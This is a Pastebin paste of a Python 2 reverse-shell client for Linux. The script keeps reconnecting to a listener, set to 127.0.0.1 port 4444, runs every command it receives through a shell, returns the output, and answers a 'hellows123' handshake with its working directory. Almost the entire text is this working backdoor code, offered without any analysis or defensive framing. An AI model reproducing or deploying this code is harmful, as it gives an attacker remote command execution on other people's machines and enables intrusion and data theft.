Advertisement
Guest User

Awrs - Client - Linux

a guest
Nov 3rd, 2014
779
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.36 KB | None | 0 0
  1. #!/usr/bin/env python2
  2.  
  3. import subprocess, os
  4. from socket import *
  5.  
  6. host = "127.0.0.1"
  7. port = 4444
  8.  
  9. def main():
  10.     while 1:
  11.         s=socket(AF_INET, SOCK_STREAM)
  12.         while 1:
  13.             try:
  14.                 s.connect((host,port))
  15.                 print "[INFO] Connected"
  16.                 break;
  17.             except:
  18.                 pass
  19.        
  20.         while 1:
  21.             try:
  22.                 msg=s.recv(4096)
  23.                 if ((msg != "exit") and ("cd " not in msg) and (msg != "hellows123")):
  24.                     comm = subprocess.Popen(str(msg), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  25.                     STDOUT, STDERR = comm.communicate()
  26.                     en_STDERR = bytearray(STDERR)
  27.                     en_STDOUT = bytearray(STDOUT)
  28.                     if (en_STDERR == ""): #dealing with invalid commands
  29.                         if (en_STDOUT != ""): #if the command has an output
  30.                             print en_STDOUT
  31.                             s.send(en_STDOUT)
  32.                         else: # if the command has not output then
  33.                             s.send("[CLIENT] Command Executed")
  34.                     else:
  35.                         print en_STDERR
  36.                         s.send(en_STDERR)
  37.                 elif ("cd " in msg): #dealing with the cd command
  38.                     msg = msg.replace("cd ","")
  39.                     os.chdir(msg)
  40.                     s.send(os.getcwd())
  41.                     print "[INFO] Changed dir to %s" % os.getcwd()
  42.                 elif (msg == "hellows123"): #welcome message
  43.                     s.send(os.getcwd())
  44.                 else:
  45.                     print "[INFO] Connection Closed"
  46.                     s.close()
  47.                     break
  48.             except:
  49.                 print "[INFO] Connection Closed"
  50.                 s.close()
  51.                 break
  52.                
  53. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement